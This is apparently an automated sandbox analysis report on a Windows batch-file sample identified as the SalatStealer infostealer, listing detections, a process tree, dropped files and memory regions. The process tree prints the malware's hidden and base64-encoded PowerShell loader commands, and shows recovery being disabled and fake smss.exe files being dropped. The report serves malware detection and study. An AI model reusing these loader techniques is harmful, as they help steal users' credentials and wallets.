Analysis

  • max time kernel
    148s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    30/10/2026, 03:52

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-ee36dag121
  • SHA256 31e7747c99697f5e5475c762533908dbda2917f82ed9cf1dfe85ab2ae30f6be4
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 17 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 1 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 4 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 22 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 6 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 46 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2552
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2348
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1864
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5352
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\gsrqj3aa\gsrqj3aa.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:2696
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES15C0.tmp" "c:\Users\Admin\AppData\Local\Temp\gsrqj3aa\CSC902CA0D9EDB4467FA6DA752792B27EF4.TMP"
              6⤵
                PID:2996
            • C:\Users\Admin\AppData\Local\Temp\p_4cfa473d-52c1-4336-95a4-4dfdad847d7f.exe
              "C:\Users\Admin\AppData\Local\Temp\p_4cfa473d-52c1-4336-95a4-4dfdad847d7f.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2076
              • C:\Program Files (x86)\Windows Media Player\smss.exe
                "C:\Program Files (x86)\Windows Media Player\smss.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious behavior: GetForegroundWindowSpam
                • Suspicious use of WriteProcessMemory
                PID:4308
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:1916
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:5672
                • C:\Program Files (x86)\Microsoft\Edge\Application\smss.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\smss.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:2660
                • C:\Program Files\Google\Chrome\Application\smss.exe
                  "C:\Program Files\Google\Chrome\Application\smss.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:5392
    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
      1⤵
        PID:2408
      • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
        "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
        1⤵
          PID:2096
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:1084

          Network

                MITRE ATT&CK Enterprise v16

                Replay Monitor

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                Downloads

                powershell.exe.log

                • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                • Size 2KB
                • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
                • MD5 SHA1 SHA512 TLSH

                StartupProfileData-NonInteractive

                • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                • Size 1KB
                • SHA256 d6e24a9410711082c0453f7ef41d53886f14fb8fb41ffc8911c213ab3caf8711
                • MD5 SHA1 SHA512 TLSH

                RES15C0.tmp

                • Path C:\Users\Admin\AppData\Local\Temp\RES15C0.tmp
                • Size 1KB
                • SHA256 981094a45d25fdb4edcca36fad9d9d26d0a5f5d4cbeae6363e1dbbb87ca6c3d1
                • MD5 SHA1 SHA512 TLSH

                __PSScriptPolicyTest_bfmkgjvz.3di.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bfmkgjvz.3di.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512 TLSH

                gsrqj3aa.dll

                • Path C:\Users\Admin\AppData\Local\Temp\gsrqj3aa\gsrqj3aa.dll
                • Size 5KB
                • SHA256 660a7deccf008462569167b018de1ce5f423c8e41ce08596dbcc46d30705d56c
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 70KB
                • SHA256 4e19f3e5ac7ffb7842f438cc24640b0b63ddd521cf76bf1217f73fd1b9f49e65
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.b64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
                • Size 4.6MB
                • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
                • MD5 SHA1 SHA512 SSDEEP TLSH

                lc_3548_1789218388848017200.l64

                • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
                • Size 10KB
                • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
                • MD5 SHA1 SHA512 SSDEEP TLSH

                p_4cfa473d-52c1-4336-95a4-4dfdad847d7f.exe

                • Path C:\Users\Admin\AppData\Local\Temp\p_4cfa473d-52c1-4336-95a4-4dfdad847d7f.exe
                • Size 3.4MB
                • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
                • MD5 SHA1 SHA512 SSDEEP TLSH

                CSC902CA0D9EDB4467FA6DA752792B27EF4.TMP

                • Path \??\c:\Users\Admin\AppData\Local\Temp\gsrqj3aa\CSC902CA0D9EDB4467FA6DA752792B27EF4.TMP
                • Size 652B
                • SHA256 562ab5c42b76d9860027d5c751841223c50b5834096dd68c0b27bad70c3ae9bb
                • MD5 SHA1 SHA512 TLSH

                gsrqj3aa.0.cs

                • Path \??\c:\Users\Admin\AppData\Local\Temp\gsrqj3aa\gsrqj3aa.0.cs
                • Size 2KB
                • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
                • MD5 SHA1 SHA512 TLSH

                gsrqj3aa.cmdline

                • Path \??\c:\Users\Admin\AppData\Local\Temp\gsrqj3aa\gsrqj3aa.cmdline
                • Size 369B
                • SHA256 0425ae75ae97800a13be25237ebda970ef5592a307e1cf38fe1bae99e19baa94
                • MD5 SHA1 SHA512 TLSH

                memory/1916-872-0x0000000005B00000-0x0000000005B66000-memory.dmp

                memory/1916-909-0x0000000007980000-0x000000000798E000-memory.dmp

                memory/1916-919-0x0000000008880000-0x0000000008E24000-memory.dmp

                memory/1916-918-0x0000000007AC0000-0x0000000007AE2000-memory.dmp

                memory/1916-912-0x00000000079C0000-0x00000000079C8000-memory.dmp

                memory/1916-911-0x0000000007A90000-0x0000000007AAA000-memory.dmp

                memory/1916-910-0x0000000007990000-0x00000000079A4000-memory.dmp

                memory/1916-908-0x0000000007950000-0x0000000007961000-memory.dmp

                memory/1916-907-0x00000000079F0000-0x0000000007A86000-memory.dmp

                memory/1916-895-0x000000006FDE0000-0x000000006FE2C000-memory.dmp

                memory/1916-896-0x0000000070040000-0x0000000070394000-memory.dmp

                memory/1916-906-0x0000000007920000-0x000000000792A000-memory.dmp

                memory/1916-905-0x0000000007820000-0x00000000078C3000-memory.dmp

                memory/1916-904-0x0000000007800000-0x000000000781E000-memory.dmp

                memory/1916-894-0x00000000077C0000-0x00000000077F2000-memory.dmp

                memory/1916-867-0x0000000004C70000-0x0000000004CA6000-memory.dmp

                memory/1916-892-0x0000000007C50000-0x00000000082CA000-memory.dmp

                memory/1916-869-0x00000000053F0000-0x0000000005A18000-memory.dmp

                memory/1916-870-0x0000000005260000-0x0000000005282000-memory.dmp

                memory/1916-871-0x0000000005A90000-0x0000000005AF6000-memory.dmp

                memory/1916-893-0x00000000075F0000-0x000000000760A000-memory.dmp

                memory/1916-880-0x0000000005C30000-0x0000000005F84000-memory.dmp

                memory/1916-885-0x0000000006240000-0x000000000625E000-memory.dmp

                memory/1916-891-0x0000000007550000-0x00000000075C6000-memory.dmp

                memory/1916-886-0x0000000006290000-0x00000000062DC000-memory.dmp

                memory/1916-890-0x00000000067A0000-0x00000000067E4000-memory.dmp

                memory/2076-851-0x0000000000840000-0x0000000001495000-memory.dmp

                memory/2076-847-0x0000000000840000-0x0000000001495000-memory.dmp

                memory/2076-857-0x0000000000840000-0x0000000001495000-memory.dmp

                memory/2076-850-0x0000000000840000-0x0000000001495000-memory.dmp

                memory/2348-3-0x000001D8A5320000-0x000001D8A5342000-memory.dmp

                memory/2348-0-0x000001D8BD940000-0x000001D8BD950000-memory.dmp

                memory/2348-1-0x000001D8BD940000-0x000001D8BD950000-memory.dmp

                memory/2660-868-0x0000000000190000-0x0000000000DE5000-memory.dmp

                memory/2660-866-0x0000000000190000-0x0000000000DE5000-memory.dmp

                memory/4308-925-0x0000000000890000-0x00000000014E5000-memory.dmp

                memory/4308-926-0x0000000000890000-0x00000000014E5000-memory.dmp

                memory/4308-931-0x0000000000890000-0x00000000014E5000-memory.dmp

                memory/4308-860-0x0000000000890000-0x00000000014E5000-memory.dmp

                memory/4308-861-0x0000000000890000-0x00000000014E5000-memory.dmp

                memory/4308-930-0x0000000000890000-0x00000000014E5000-memory.dmp

                memory/4308-929-0x0000000000890000-0x00000000014E5000-memory.dmp

                memory/4308-928-0x0000000000890000-0x00000000014E5000-memory.dmp

                memory/4308-927-0x0000000000890000-0x00000000014E5000-memory.dmp

                memory/4308-922-0x0000000000890000-0x00000000014E5000-memory.dmp

                memory/4308-923-0x0000000000890000-0x00000000014E5000-memory.dmp

                memory/4308-924-0x0000000000890000-0x00000000014E5000-memory.dmp

                memory/4308-858-0x0000000000890000-0x00000000014E5000-memory.dmp

                memory/5352-837-0x0000013CFD6D0000-0x0000013CFD6D8000-memory.dmp

                memory/5352-814-0x0000013CFD6C0000-0x0000013CFD6D0000-memory.dmp

                memory/5352-815-0x0000013CFD6C0000-0x0000013CFD6D0000-memory.dmp

                memory/5352-849-0x0000013CFF7E0000-0x0000013CFF9FC000-memory.dmp

                memory/5392-889-0x0000000000C40000-0x0000000001895000-memory.dmp

                memory/5392-887-0x0000000000C40000-0x0000000001895000-memory.dmp